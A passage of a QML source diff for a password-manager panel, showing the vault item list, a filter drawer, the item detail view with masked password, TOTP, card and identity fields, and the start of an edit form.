+ // the detail view, and the row only has to say they exist. + Text { + textFormat: Text.PlainText + visible: Boolean(itemData.hasAttachments) + text: "󰏢" + color: root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.bodySmall + anchors.verticalCenter: parent.verticalCenter + } + } + + Row { + spacing: Style.space(4) + width: parent.width + + Text { + textFormat: Text.PlainText + visible: Boolean(itemData.isSuggested) + text: root.learnedIds[itemData.id] ? "󰐾 Suggested" : "󰌠 Suggested" + color: Color.accent + font.family: root.fontFamily + font.pixelSize: Style.font.caption + font.bold: true + } + + Text { + textFormat: Text.PlainText + visible: Boolean(itemData.organizationId) + text: "󰓹 Org" + color: Color.accent + font.family: root.fontFamily + font.pixelSize: Style.font.caption + font.bold: true + } + + Text { + textFormat: Text.PlainText + id: rowSubtitle + text: itemData.subtitle || Model.itemTypeLabel(itemData.typeCode) + color: root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.caption + elide: Text.ElideRight + // Take only what is needed, so the folder tag that follows + // keeps its place instead of being pushed off the row. + width: Math.min(implicitWidth, + parent.width + - (itemData.organizationId ? Style.space(40) : 0) + - (itemData.isSuggested ? Style.space(75) : 0) + - (rowFolderTag.visible ? Style.space(90) : 0)) + } + + Text { + textFormat: Text.PlainText + id: rowFolderTag + // Only worth showing when it is not already implied by the filter. + visible: Boolean(itemData.folderId) && root.selectedFolder === "all" + text: "· 󰉋 " + Model.folderName(root.folders, itemData.folderId) + color: Qt.darker(root.dim, 1.1) + font.family: root.fontFamily + font.pixelSize: Style.font.caption + elide: Text.ElideRight + width: Math.min(implicitWidth, Style.space(90)) + } + } + } + + // Quick Action Buttons + Row { + id: actionButtonsRow + anchors.verticalCenter: parent.verticalCenter + spacing: Style.space(4) + visible: isSelected || isHovered + + PanelActionButton { + visible: itemData.typeCode !== 5 && itemData.hasPassword + iconText: "󰌆" + tooltipText: "Copy password (Enter / y)" + fontFamily: root.fontFamily + onClicked: root.handleSmartEnter(itemData) + } + + PanelActionButton { + visible: itemData.typeCode !== 5 && itemData.username !== "" + iconText: "" + tooltipText: "Copy username (u)" + fontFamily: root.fontFamily + onClicked: root.copyUsername(itemData) + } + + PanelActionButton { + visible: itemData.typeCode !== 5 && itemData.hasTotp + iconText: "󰥔" + tooltipText: "Copy TOTP code (m)" + fontFamily: root.fontFamily + onClicked: root.copyTotpCode(itemData) + } + + PanelActionButton { + iconText: "󰏫" + tooltipText: itemData.typeCode === 5 ? "View public key" : "View / Edit item (e)" + fontFamily: root.fontFamily + onClicked: root.openDetail(itemData) + } + + PanelActionButton { + visible: itemData.typeCode !== 5 && itemData.uris && itemData.uris.length > 0 + iconText: "󰖟" + tooltipText: "Open URL (w)" + fontFamily: root.fontFamily + onClicked: root.openUrl(itemData.uris[0]) + } + } + } + + MouseArea { + id: rowMouseArea + anchors.fill: parent + hoverEnabled: true + cursorShape: Qt.PointingHandCursor + onClicked: { + root.cursorActive = true + root.openFilterGroup = "" + root.selectedIndex = index + root.openDetail(itemData) + } + } + } + } + + // Empty state overlay + Item { + visible: root.filteredItems.length === 0 + anchors.fill: parent + + Column { + anchors.centerIn: parent + spacing: Style.space(6) + + Text { + textFormat: Text.PlainText + anchors.horizontalCenter: parent.horizontalCenter + text: root.isLoading && root.items.length === 0 ? "󰑐" : (root.items.length === 0 ? "󰞀" : "󰍡") + color: root.dim + font.family: root.fontFamily + font.pixelSize: Style.space(36) + RotationAnimation on rotation { + running: root.isLoading && root.items.length === 0 + from: 0 + to: 360 + duration: 900 + loops: Animation.Infinite + } + } + + Text { + textFormat: Text.PlainText + anchors.horizontalCenter: parent.horizontalCenter + text: root.isLoading && root.items.length === 0 + ? "Loading items..." + : root.emptyListMessage() + color: root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.body + } + } + } + } + + // ----------------------------------------------------------------- + // Bottom filter bar: Folders / Vaults / Types + // ----------------------------------------------------------------- + // Three horizontally scrolling strips were easy to miss and awkward + // to reach. One collapsed row instead, each opening a vertical list + // in place; the item list gives back exactly the height the open + // list takes, so the panel does not jump. + + PanelSeparator { width: parent.width } + + // The open group's options: a pinned header naming the group, then up + // to five rows with the rest scrolling underneath it. + Column { + id: filterDrawer + width: parent.width + height: root.filterDrawerHeight + visible: height > 0 + clip: true + spacing: 0 + + Behavior on height { NumberAnimation { duration: 130; easing.type: Easing.OutQuad } } + + // Pinned header -- stays put while the options scroll. + Row { + width: parent.width + height: Style.space(30) + spacing: Style.space(8) + + Text { + textFormat: Text.PlainText + anchors.verticalCenter: parent.verticalCenter + text: root.openFilterGroup === "folders" ? "󰉋" + : root.openFilterGroup === "organizations" ? "󰦑" + : "󰀻" + color: Color.accent + font.family: root.fontFamily + font.pixelSize: Style.font.bodySmall + } + + Text { + textFormat: Text.PlainText + anchors.verticalCenter: parent.verticalCenter + text: root.openFilterGroup === "folders" ? "FOLDERS" + : root.openFilterGroup === "organizations" ? "ORGANIZATIONS" + : "TYPES" + color: Color.accent + font.family: root.fontFamily + font.pixelSize: Style.font.caption + font.bold: true + } + + Item { width: parent.width - Style.space(190); height: 1 } + + Text { + textFormat: Text.PlainText + anchors.verticalCenter: parent.verticalCenter + visible: root.currentFilterOptions.length > root.currentFilterVisibleRows + text: root.currentFilterOptions.length + " total" + color: root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.caption + } + } + + Flickable { + id: filterOptionsList + width: parent.width + height: Math.min(root.currentFilterVisibleRows, root.currentFilterOptions.length) * root.filterRowHeight + contentWidth: width + contentHeight: filterOptionsCol.implicitHeight + clip: true + boundsBehavior: Flickable.StopAtBounds + flickableDirection: Flickable.VerticalFlick + ScrollBar.vertical: ScrollBar { policy: ScrollBar.AsNeeded } + + WheelScroll { view: filterOptionsList } + + // Keep the keyboard cursor in view when it runs past the fold. + function revealCursor() { + var y = root.filterOptionIndex * root.filterRowHeight + if (y < contentY) contentY = y + else if (y + root.filterRowHeight > contentY + height) { + contentY = y + root.filterRowHeight - height + } + } + + Connections { + target: root + function onFilterOptionIndexChanged() { filterOptionsList.revealCursor() } + } + + Column { + id: filterOptionsCol + width: filterOptionsList.width - root.scrollGutter + spacing: 0 + + Repeater { + model: root.currentFilterOptions + + delegate: BorderSurface { + required property var modelData + required property int index + width: filterOptionsCol.width + implicitHeight: root.filterRowHeight + radius: Style.cornerRadius + readonly property bool cursored: index === root.filterOptionIndex + color: modelData.active ? Style.selectedFillFor(root.fg, Color.accent) + : (cursored || optionMouse.containsMouse) ? Style.hoverFillFor(root.fg, Color.accent) + : "transparent" + borderSpec: Border.surfaceSpec("menu", "border", + (modelData.active || cursored) ? Color.accent : "transparent", + (modelData.active || cursored) ? 1 : 0) + + MouseArea { + id: optionMouse + anchors.fill: parent + hoverEnabled: true + cursorShape: Qt.PointingHandCursor + onEntered: root.filterOptionIndex = index + onClicked: root.applyFilterOption(root.openFilterGroup, modelData.id) + } + + Row { + anchors.fill: parent + anchors.leftMargin: Style.space(10) + anchors.rightMargin: Style.space(10) + spacing: Style.space(8) + + Text { + textFormat: Text.PlainText + anchors.verticalCenter: parent.verticalCenter + text: modelData.icon + color: modelData.active ? Color.accent : root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.body + } + + Text { + textFormat: Text.PlainText + anchors.verticalCenter: parent.verticalCenter + width: parent.width - Style.space(50) + text: modelData.label + color: modelData.active ? Color.accent : root.fg + font.family: root.fontFamily + font.pixelSize: Style.font.bodySmall + font.bold: modelData.active + elide: Text.ElideRight + } + + Text { + textFormat: Text.PlainText + anchors.verticalCenter: parent.verticalCenter + visible: modelData.active + text: "󰄬" + color: Color.accent + font.family: root.fontFamily + font.pixelSize: Style.font.bodySmall + } + } + } + } + } + } + } + + // The three collapsed buttons. Identical shape, so none reads as a + // different kind of control from the others -- which is why they are + // one component declared three times rather than three buttons. + // + // A Flow rather than a Row. Two of the three carry a vault name, so + // their width is whatever the user typed, and a Row can neither + // shrink a child nor start a second line -- it lays the overflow out + // past the panel edge, off both sides at once because the group is + // centred. `width` is the group's own combined width while the three + // share a line, which is what keeps it centred, and the panel's when + // they cannot. It reads the buttons' implicitWidth, never their + // width, so the layout's width never depends on its own result. + // + // This is what pays for the labels naming their filters: the three + // fit one line in the ordinary case and take a second when they do + // not, instead of the names having to be dropped to guarantee one. + Flow { + anchors.horizontalCenter: parent.horizontalCenter + spacing: Style.space(6) + readonly property real naturalWidth: folderFilterButton.implicitWidth + + organizationFilterButton.implicitWidth + + typeFilterButton.implicitWidth + + spacing * 2 + width: Math.min(parent.width, naturalWidth) + + VaultFilterButton { + id: folderFilterButton + group: "folders" + glyph: "󰉋" + name: "Folders" + value: root.folderFilterLabel() + shortcut: "f" + } + + VaultFilterButton { + id: organizationFilterButton + group: "organizations" + glyph: "󰦑" + name: "Organizations" + value: root.organizationFilterLabel() + shortcut: "o" + } + + VaultFilterButton { + id: typeFilterButton + group: "types" + glyph: "󰀻" + name: "Types" + value: root.typeFilterLabel() + shortcut: "t" + } + } + + } + + // ------------------------------------------------------------------- + // SCREEN 4: UNLOCKED - ITEM DETAIL VIEW + // ------------------------------------------------------------------- + Column { + visible: root.status === "unlocked" && root.activeScreen === "detail" + width: parent.width + spacing: Style.space(12) + + // Back Navigation & Action Header + // + // A Flow, not a Row, because how many buttons are here is decided at + // runtime: the suggestion button appears only on a recognised window, + // and it is the widest of the four. A Row cannot shrink a child or + // start a second line, so the fourth button was laid out past the + // panel's right edge and Delete simply left the panel -- worse still + // only once the suggestion was pinned, because "Suggested here" is a + // character wider than "Suggest here" and that character was the one + // that overflowed. The panel is also narrower than its 450 ask on a + // small screen (see fittedContentWidth), so no arrangement of fixed + // labels is safe; wrapping is. Everything still fits on one line at + // the default size, so this only shows itself when it has to. + Flow { + width: parent.width + spacing: Style.space(8) + + Button { + // "Back to list" spelled out cost more width than the row could + // spare, and the Sends screen already says just "Back (Esc)". + text: "Back (Esc)" + iconText: "󰁍" + fontFamily: root.fontFamily + fontSize: Style.font.bodySmall + onClicked: root.currentScreen = "main" + } + + Button { + visible: Boolean(root.detectedContext && root.detectedContext.displayName && root.detailItem && root.detailItem.typeCode !== 5) + readonly property bool pinned: Boolean(root.detailItem + && Model.isAssociated(root.associations, root.detectedContext, root.detailItem.id)) + text: pinned ? "Suggested here" : "Suggest here" + iconText: pinned ? "󰐾" : "󰐽" + selected: pinned + accent: Color.accent + // The window title is no more trustworthy than a vault value, + // and the kit renders tooltips with an auto-detecting Text. + tooltipText: Model.plainLabel((pinned ? "Stop suggesting this for " : "Always suggest this for ") + + (root.detectedContext ? root.detectedContext.displayName : "")) + fontFamily: root.fontFamily + fontSize: Style.font.bodySmall + onClicked: root.toggleAssociation(root.detailItem) + } + + Button { + visible: Boolean(root.detailItem && root.detailItem.typeCode !== 5) + text: "Edit" + iconText: "󰏫" + fontFamily: root.fontFamily + fontSize: Style.font.bodySmall + onClicked: if (root.detailItem) root.startEditItem(root.detailItem) + } + + Button { + visible: Boolean(root.detailItem && root.detailItem.typeCode !== 5) + text: "Delete" + iconText: "󰆴" + accent: Color.urgent + fontFamily: root.fontFamily + fontSize: Style.font.bodySmall + onClicked: root.showDeleteConfirm = true + } + } + + // Delete Confirmation Banner + BorderSurface { + visible: root.showDeleteConfirm + width: parent.width + implicitHeight: Style.space(64) + color: Util.alpha(Color.urgent, 0.15) + radius: Style.cornerRadius + borderSpec: Border.surfaceSpec("menu", "border", Color.urgent, 1) + + Row { + anchors.centerIn: parent + spacing: Style.space(12) + + Text { + textFormat: Text.PlainText + text: "Permanently delete this item?" + color: root.fg + font.family: root.fontFamily + font.pixelSize: Style.font.bodySmall + font.bold: true + anchors.verticalCenter: parent.verticalCenter + } + + Button { + text: "Confirm Delete" + iconText: "󰆴" + selected: true + accent: Color.urgent + fontFamily: root.fontFamily + fontSize: Style.font.caption + onClicked: root.deleteCurrentItem() + } + + Button { + text: "Cancel" + fontFamily: root.fontFamily + fontSize: Style.font.caption + onClicked: root.showDeleteConfirm = false + } + } + } + + PanelSeparator { width: parent.width } + + Flickable { + id: detailFlickable + width: parent.width + height: Math.min(Style.space(380), detailContentColumn.implicitHeight) + contentWidth: width + contentHeight: detailContentColumn.implicitHeight + clip: true + boundsBehavior: Flickable.StopAtBounds + flickableDirection: Flickable.VerticalFlick + ScrollBar.vertical: ScrollBar { policy: ScrollBar.AsNeeded } + + WheelScroll { view: detailFlickable } + + Column { + id: detailContentColumn + width: detailFlickable.width - root.scrollGutter + spacing: Style.space(12) + + // Item Header + Row { + width: parent.width + spacing: Style.space(10) + + Text { + textFormat: Text.PlainText + anchors.verticalCenter: parent.verticalCenter + text: root.detailItem ? Model.itemTypeGlyph(root.detailItem.typeCode) : "󰌋" + color: (root.detailItem && root.detailItem.favorite) ? Color.accent : root.fg + font.family: root.fontFamily + font.pixelSize: Style.space(26) + } + + Column { + anchors.verticalCenter: parent.verticalCenter + width: parent.width - Style.space(40) + spacing: Style.space(2) + + Row { + spacing: Style.space(6) + width: parent.width + + Text { + textFormat: Text.PlainText + text: root.detailItem ? root.detailItem.name : "Loading..." + color: root.fg + font.family: root.fontFamily + font.pixelSize: Style.font.title + font.bold: true + elide: Text.ElideRight + width: Math.min(implicitWidth, parent.width - Style.space(20)) + } + + Text { + textFormat: Text.PlainText + visible: Boolean(root.detailItem && root.detailItem.favorite) + text: "★" + color: Color.accent + font.pixelSize: Style.font.body + } + } + + Row { + spacing: Style.space(6) + Text { + textFormat: Text.PlainText + text: root.detailItem ? Model.itemTypeLabel(root.detailItem.typeCode) : "" + color: root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.caption + } + Text { + textFormat: Text.PlainText + visible: Boolean(root.detailItem && root.detailItem.organizationId) + text: "• Shared Organization" + color: Color.accent + font.family: root.fontFamily + font.pixelSize: Style.font.caption + } + Text { + textFormat: Text.PlainText + visible: Boolean(root.detailItem && root.detailItem.folderId) + text: root.detailItem + ? "• 󰉋 " + Model.folderName(root.folders, root.detailItem.folderId) + : "" + color: root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.caption + } + } + } + } + + // FIELD: Public SSH key (type 5 is deliberately read-only) + Column { + visible: Boolean(root.detailItem && root.detailItem.typeCode === 5) + width: parent.width + spacing: Style.space(4) + PanelSectionHeader { text: "PUBLIC KEY" } + BorderSurface { + width: parent.width + implicitHeight: Math.max(Style.space(54), sshPublicKeyText.implicitHeight + Style.space(20)) + radius: Style.cornerRadius + color: Style.hoverFillFor(root.fg, Color.accent) + borderSpec: Border.controlSpec("normal", root.fg, Color.accent) + Text { + textFormat: Text.PlainText + id: sshPublicKeyText + anchors.fill: parent + anchors.margins: Style.space(10) + text: root.detailItem ? (root.detailItem.publicKey || "No public key") : "" + color: root.fg + font.family: root.fontFamily + font.pixelSize: Style.font.caption + wrapMode: Text.WrapAnywhere + } + } + Text { + textFormat: Text.PlainText + visible: Boolean(root.detailItem && root.detailItem.fingerprint) + text: "Fingerprint: " + (root.detailItem ? root.detailItem.fingerprint : "") + color: root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.caption + wrapMode: Text.WrapAnywhere + } + } + + // FIELD: Username + DetailField { + visible: root.detailIsLoginLike && Boolean(root.detailItem) && root.detailItem.username !== "" + label: "Username / Email" + copyLabel: "Username" + shortcutHint: "u" + copyIcon: "" + value: root.detailItem ? root.detailItem.username : "" + foreground: root.fg + fontFamily: root.fontFamily + onCopyRequested: root.copyToClipboard(root.detailItem ? root.detailItem.username : "", "Username") + } + + // FIELD: Password + Column { + visible: root.detailIsLoginLike && Boolean(root.detailItem) && (root.detailPassword !== "" || root.detailItem.hasPassword) + width: parent.width + spacing: Style.space(4) + + PanelSectionHeader { text: "PASSWORD" } + + BorderSurface { + width: parent.width + implicitHeight: Style.space(34) + radius: Style.cornerRadius + color: Style.hoverFillFor(root.fg, Color.accent) + borderSpec: Border.controlSpec("normal", root.fg, Color.accent) + + Row { + anchors.fill: parent + anchors.leftMargin: Style.space(10) + anchors.rightMargin: Style.space(6) + + Text { + textFormat: Text.PlainText + anchors.verticalCenter: parent.verticalCenter + text: root.isFieldRevealed("password") + ? root.detailPassword : Model.maskString(root.detailPassword || "password") + color: root.fg + font.family: root.fontFamily + font.pixelSize: Style.font.body + elide: Text.ElideRight + width: parent.width - passActions.width - Style.space(10) + } + + Row { + id: passActions + anchors.verticalCenter: parent.verticalCenter + spacing: Style.space(4) + + PanelActionButton { + iconText: root.isFieldRevealed("password") ? "󰈉" : "󰈈" + tooltipText: root.isFieldRevealed("password") ? "Hide password (v)" : "Reveal password (v)" + fontFamily: root.fontFamily + onClicked: root.toggleFieldReveal("password") + } + + PanelActionButton { + iconText: "󰌆" + tooltipText: "Copy password (y / Enter)" + fontFamily: root.fontFamily + onClicked: root.copyToClipboard(root.detailPassword, "Password") + } + } + } + } + } + + // FIELD: TOTP (2FA Code) + Column { + visible: root.detailIsLoginLike && Boolean(root.detailItem) && root.detailItem.hasTotp + width: parent.width + spacing: Style.space(4) + + RowLayout { + width: parent.width + PanelSectionHeader { text: "VERIFICATION CODE (TOTP)" } + Item { Layout.fillWidth: true } + Text { + textFormat: Text.PlainText + text: root.totpSecRemaining + "s" + color: Color.accent + font.family: root.fontFamily + font.pixelSize: Style.font.caption + font.bold: true + Layout.alignment: Qt.AlignVCenter + } + } + + BorderSurface { + width: parent.width + implicitHeight: Style.space(44) + radius: Style.cornerRadius + color: Style.hoverFillFor(root.fg, Color.accent) + borderSpec: Border.controlSpec("normal", root.fg, Color.accent) + + Rectangle { + anchors.left: parent.left + anchors.bottom: parent.bottom + height: Style.space(3) + radius: Style.cornerRadius + width: parent.width * (root.totpSecRemaining / 30.0) + color: Color.accent + } + + Row { + anchors.fill: parent + anchors.leftMargin: Style.space(12) + anchors.rightMargin: Style.space(6) + + Text { + textFormat: Text.PlainText + anchors.verticalCenter: parent.verticalCenter + text: root.liveTotp ? (root.liveTotp.length === 6 ? root.liveTotp.slice(0, 3) + " " + root.liveTotp.slice(3) : root.liveTotp) : "Loading..." + color: Color.accent + font.family: root.fontFamily + font.pixelSize: Style.font.title + font.bold: true + font.letterSpacing: 2.0 + width: parent.width - copyTotpBtn.width - Style.space(10) + } + + PanelActionButton { + id: copyTotpBtn + anchors.verticalCenter: parent.verticalCenter + iconText: "󰥔" + tooltipText: "Copy TOTP code (m)" + fontFamily: root.fontFamily + enabled: root.liveTotp !== "" + onClicked: root.copyToClipboard(root.liveTotp, "TOTP code") + } + } + } + } + + // FIELD: Website / URIs + Column { + visible: root.detailIsLoginLike && Boolean(root.detailItem) && root.detailItem.uris && root.detailItem.uris.length > 0 + width: parent.width + spacing: Style.space(4) + + PanelSectionHeader { text: "WEBSITE" } + + Repeater { + model: root.detailItem ? root.detailItem.uris : [] + delegate: BorderSurface { + width: detailContentColumn.width + implicitHeight: Style.space(34) + radius: Style.cornerRadius + color: Style.hoverFillFor(root.fg, Color.accent) + borderSpec: Border.controlSpec("normal", root.fg, Color.accent) + + Row { + anchors.fill: parent + anchors.leftMargin: Style.space(10) + anchors.rightMargin: Style.space(6) + + Text { + textFormat: Text.PlainText + anchors.verticalCenter: parent.verticalCenter + text: modelData + color: root.fg + font.family: root.fontFamily + font.pixelSize: Style.font.bodySmall + elide: Text.ElideRight + width: parent.width - openUriBtn.width - Style.space(10) + } + + PanelActionButton { + id: openUriBtn + anchors.verticalCenter: parent.verticalCenter + iconText: "󰖟" + tooltipText: "Open in browser (w)" + fontFamily: root.fontFamily + onClicked: root.openUrl(modelData) + } + } + } + } + } + + // FIELD: Attachments + // + // The metadata came down with the item, so the list is here the + // moment the detail view opens; only the bytes cost a CLI call, + // and only for the file the user actually asks for. + // + // Above NOTES on purpose. Notes is the one section with no height + // of its own -- it grows with the text -- and this Flickable is + // capped, so anything after it starts below the fold on exactly + // the items whose note is long. A secure note with a file + // attached is that case, and the files were the thing being + // pushed out of sight. + Column { + visible: Boolean(root.detailItem && root.detailItem.typeCode !== 5 && root.detailItem.hasAttachments) + width: parent.width + spacing: Style.space(4) + + RowLayout { + width: parent.width + spacing: Style.space(6) + PanelSectionHeader { text: "ATTACHMENTS" } + Item { Layout.fillWidth: true } + PanelActionButton { + visible: Boolean(root.detailItem && root.detailItem.attachments + && root.detailItem.attachments.length > 1) + iconText: "󰇚" + tooltipText: "Save all attachments (a)" + size: Style.space(20) + fontFamily: root.fontFamily + onClicked: root.saveAllAttachments() + } + } + + Repeater { + model: root.detailItem ? root.detailItem.attachments : [] + delegate: BorderSurface { + readonly property string savedPath: root.attachmentSavedPath(modelData.id) + readonly property bool busy: root.attachmentBusyId === modelData.id + readonly property bool queued: root.isAttachmentQueued(modelData.id) + + width: detailContentColumn.width + implicitHeight: Style.space(34) + radius: Style.cornerRadius + color: Style.hoverFillFor(root.fg, Color.accent) + borderSpec: Border.controlSpec("normal", root.fg, Color.accent) + + Row { + anchors.fill: parent + anchors.leftMargin: Style.space(10) + anchors.rightMargin: Style.space(6) + spacing: Style.space(6) + + Text { + textFormat: Text.PlainText + id: attachmentGlyph + anchors.verticalCenter: parent.verticalCenter + text: "󰈔" + color: root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.bodySmall + } + + // The file name is vault text, so it is drawn as text. + Text { + textFormat: Text.PlainText + anchors.verticalCenter: parent.verticalCenter + text: modelData.fileName + color: root.fg + font.family: root.fontFamily + font.pixelSize: Style.font.bodySmall + elide: Text.ElideRight + width: Math.max(0, parent.width - attachmentGlyph.width + - attachmentStatus.width - attachmentActions.width - Style.space(34)) + } + + Text { + textFormat: Text.PlainText + id: attachmentStatus + anchors.verticalCenter: parent.verticalCenter + text: busy ? "Saving..." : queued ? "Queued" : modelData.sizeName + color: root.dim + font.family: root.fontFamily + font.pixelSize: Style.font.caption + } + + Row { + id: attachmentActions + anchors.verticalCenter: parent.verticalCenter + spacing: Style.space(2) + + PanelActionButton { + visible: savedPath === "" + enabled: !busy && !queued + iconText: "󰇚" + tooltipText: "Save to your download folder" + fontFamily: root.fontFamily + onClicked: root.queueAttachment(modelData) + } + + PanelActionButton { + visible: savedPath !== "" + iconText: "󰏌" + tooltipText: "Open the saved file" + fontFamily: root.fontFamily + onClicked: root.openSavedAttachment(modelData.id) + } + + PanelActionButton { + visible: savedPath !== "" + iconText: "󰝰" + // The path is ours -- a download directory plus a + // sanitised name -- but it is still drawn as text. + tooltipText: Model.plainLabel("Show in " + Model.parentDirectory(savedPath)) + fontFamily: root.fontFamily + onClicked: root.revealSavedAttachment(modelData.id) + } + } + } + } + } + } + + // FIELD: Notes + Column { + visible: Boolean(root.detailItem && root.detailItem.typeCode !== 5 && root.detailItem.notes !== "") + width: parent.width + spacing: Style.space(4) + + RowLayout { + width: parent.width + PanelSectionHeader { text: "NOTES" } + Item { Layout.fillWidth: true } + PanelActionButton { + iconText: "󰈙" + tooltipText: "Copy notes" + size: Style.space(20) + fontFamily: root.fontFamily + onClicked: if (root.detailItem) root.copyToClipboard(root.detailItem.notes, "Notes") + } + } + + BorderSurface { + width: parent.width + implicitHeight: notesText.implicitHeight + Style.space(16) + radius: Style.cornerRadius + color: Style.hoverFillFor(root.fg, Color.accent) + borderSpec: Border.controlSpec("normal", root.fg, Color.accent) + + Text { + textFormat: Text.PlainText + id: notesText + anchors.fill: parent + anchors.margins: Style.space(10) + text: root.detailItem ? root.detailItem.notes : "" + color: root.fg + font.family: root.fontFamily + font.pixelSize: Style.font.bodySmall + wrapMode: Text.Wrap + } + } + } + + // ----------------------------------------------------------- + // FIELDS: Card + // ----------------------------------------------------------- + // Expiry is one field rather than two. It is written, read and + // typed as a unit, and a vault that shows "04" above "2030" in + // two labelled boxes is describing its storage rather than the + // card in your hand. + DetailField { + visible: root.detailIsCard + label: "Cardholder Name" + value: root.detailCard ? root.detailCard.cardholderName : "" + foreground: root.fg + fontFamily: root.fontFamily + onCopyRequested: root.copyToClipboard(root.detailCard ? root.detailCard.cardholderName : "", "Cardholder name") + } + + DetailField { + visible: root.detailIsCard + label: "Brand" + value: root.detailCard ? root.detailCard.brand : "" + foreground: root.fg + fontFamily: root.fontFamily + onCopyRequested: root.copyToClipboard(root.detailCard ? root.detailCard.brand : "", "Brand") + } + + DetailField { + visible: root.detailIsCard + label: "Card Number" + copyLabel: "Card number" + shortcutHint: "n / Enter" + revealHint: "v" + sensitive: true + revealed: root.isFieldRevealed("cardNumber") + value: root.detailCard ? root.detailCard.number : "" + foreground: root.fg + fontFamily: root.fontFamily + onRevealToggled: root.toggleFieldReveal("cardNumber") + onCopyRequested: root.copyToClipboard(root.detailCard ? root.detailCard.number : "", "Card number") + } + + DetailField { + visible: root.detailIsCard + label: "Expires" + value: root.detailCardExpiry + foreground: root.fg + fontFamily: root.fontFamily + onCopyRequested: root.copyToClipboard(root.detailCardExpiry, "Expiry") + } + + DetailField { + visible: root.detailIsCard + label: "Security Code" + copyLabel: "Security code" + shortcutHint: "k" + sensitive: true + revealed: root.isFieldRevealed("cardCode") + value: root.detailCard ? root.detailCard.code : "" + foreground: root.fg + fontFamily: root.fontFamily + onRevealToggled: root.toggleFieldReveal("cardCode") + onCopyRequested: root.copyToClipboard(root.detailCard ? root.detailCard.code : "", "Security code") + } + + // ----------------------------------------------------------- + // FIELDS: Identity + // ----------------------------------------------------------- + // Every field an identity can carry is declared; DetailField + // hides the empty ones. Most identities fill in a handful, and + // the alternative -- deciding here which are worth drawing -- + // is how the useful one for somebody ends up missing. + DetailField { + visible: root.detailIsIdentity + label: "Name" + value: root.detailIdentityName + foreground: root.fg + fontFamily: root.fontFamily + onCopyRequested: root.copyToClipboard(root.detailIdentityName, "Name") + } + + DetailField { + visible: root.detailIsIdentity + label: "Username" + shortcutHint: "u" + value: root.detailIdentity ? root.detailIdentity.username : "" + foreground: root.fg + fontFamily: root.fontFamily + onCopyRequested: root.copyToClipboard(root.detailIdentity ? root.detailIdentity.username : "", "Username") + } + + DetailField { + visible: root.detailIsIdentity + label: "Company" + value: root.detailIdentity ? root.detailIdentity.company : "" + foreground: root.fg + fontFamily: root.fontFamily + onCopyRequested: root.copyToClipboard(root.detailIdentity ? root.detailIdentity.company : "", "Company") + } + + DetailField { + visible: root.detailIsIdentity + label: "Email" + shortcutHint: "c" + value: root.detailIdentity ? root.detailIdentity.email : "" + foreground: root.fg + fontFamily: root.fontFamily + onCopyRequested: root.copyToClipboard(root.detailIdentity ? root.detailIdentity.email : "", "Email") + } + + DetailField { + visible: root.detailIsIdentity + label: "Phone" + value: root.detailIdentity ? root.detailIdentity.phone : "" + foreground: root.fg + fontFamily: root.fontFamily + onCopyRequested: root.copyToClipboard(root.detailIdentity ? root.detailIdentity.phone : "", "Phone") + } + + // The three an identity item usually exists to hold. Masked for + // the same reason a password is: a shoulder is enough to lose + // them, and unlike a password they cannot be rotated. + DetailField { + visible: root.detailIsIdentity + label: "Social Security Number" + copyLabel: "SSN" + sensitive: true + revealed: root.isFieldRevealed("ssn") + value: root.detailIdentity ? root.detailIdentity.ssn : "" + foreground: root.fg + fontFamily: root.fontFamily + onRevealToggled: root.toggleFieldReveal("ssn") + onCopyRequested: root.copyToClipboard(root.detailIdentity ? root.detailIdentity.ssn : "", "SSN") + } + + DetailField { + visible: root.detailIsIdentity + label: "Passport Number" + copyLabel: "Passport number" + sensitive: true + revealed: root.isFieldRevealed("passport") + value: root.detailIdentity ? root.detailIdentity.passportNumber : "" + foreground: root.fg + fontFamily: root.fontFamily + onRevealToggled: root.toggleFieldReveal("passport") + onCopyRequested: root.copyToClipboard(root.detailIdentity ? root.detailIdentity.passportNumber : "", "Passport number") + } + + DetailField { + visible: root.detailIsIdentity + label: "Licence Number" + copyLabel: "Licence number" + sensitive: true + revealed: root.isFieldRevealed("licence") + value: root.detailIdentity ? root.detailIdentity.licenseNumber : "" + foreground: root.fg + fontFamily: root.fontFamily + onRevealToggled: root.toggleFieldReveal("licence") + onCopyRequested: root.copyToClipboard(root.detailIdentity ? root.detailIdentity.licenseNumber : "", "Licence number") + } + + PanelSectionHeader { + visible: root.detailIsIdentity && root.detailIdentityAddress !== "" + text: "ADDRESS" + } + + // One block, not seven rows. An address is copied as an address. + BorderSurface { + visible: root.detailIsIdentity && root.detailIdentityAddress !== "" + width: parent.width + implicitHeight: addressText.implicitHeight + Style.space(16) + radius: Style.cornerRadius + color: Style.hoverFillFor(root.fg, Color.accent) + borderSpec: Border.controlSpec("normal", root.fg, Color.accent) + + Row { + anchors.fill: parent + anchors.margins: Style.space(8) + spacing: Style.space(6) + + Text { + textFormat: Text.PlainText + id: addressText + anchors.verticalCenter: parent.verticalCenter + text: root.detailIdentityAddress + color: root.fg + font.family: root.fontFamily + font.pixelSize: Style.font.body + wrapMode: Text.Wrap + width: parent.width - copyAddressBtn.width - Style.space(10) + } + + PanelActionButton { + id: copyAddressBtn + anchors.verticalCenter: parent.verticalCenter + iconText: "󰈙" + tooltipText: "Copy address" + fontFamily: root.fontFamily + onClicked: root.copyToClipboard(root.detailIdentityAddress, "Address") + } + } + } + + + } + } + + } + + // ------------------------------------------------------------------- + // SCREEN 5: ADD / EDIT ITEM FORM VIEW + // ------------------------------------------------------------------- + Column { + visible: root.status === "unlocked" && root.activeScreen === "edit" + width: parent.width + spacing: Style.space(10) + + RowLayout { + width: parent.width + spacing: Style.space(8) + + Button { + text: "Cancel (Esc)" + iconText: "󰁍" + fontFamily: root.fontFamily + fontSize: Style.font.bodySmall + onClicked: root.currentScreen = root.formIsEditing ? "detail" : "main" + } + + Item { Layout.fillWidth: true } + + Text { + textFormat: Text.PlainText + Layout.alignment: Qt.AlignVCenter + text: root.formIsEditing ? "Edit Item" : "New Vault Item" + color: root.fg + font.family: root.fontFamily + font.pixelSize: Style.font.title + font.bold: true + } + } + + PanelSeparator { width: parent.width } + + Flickable { + id: editFlickable + width: parent.width + height: Math.min(Style.space(420), 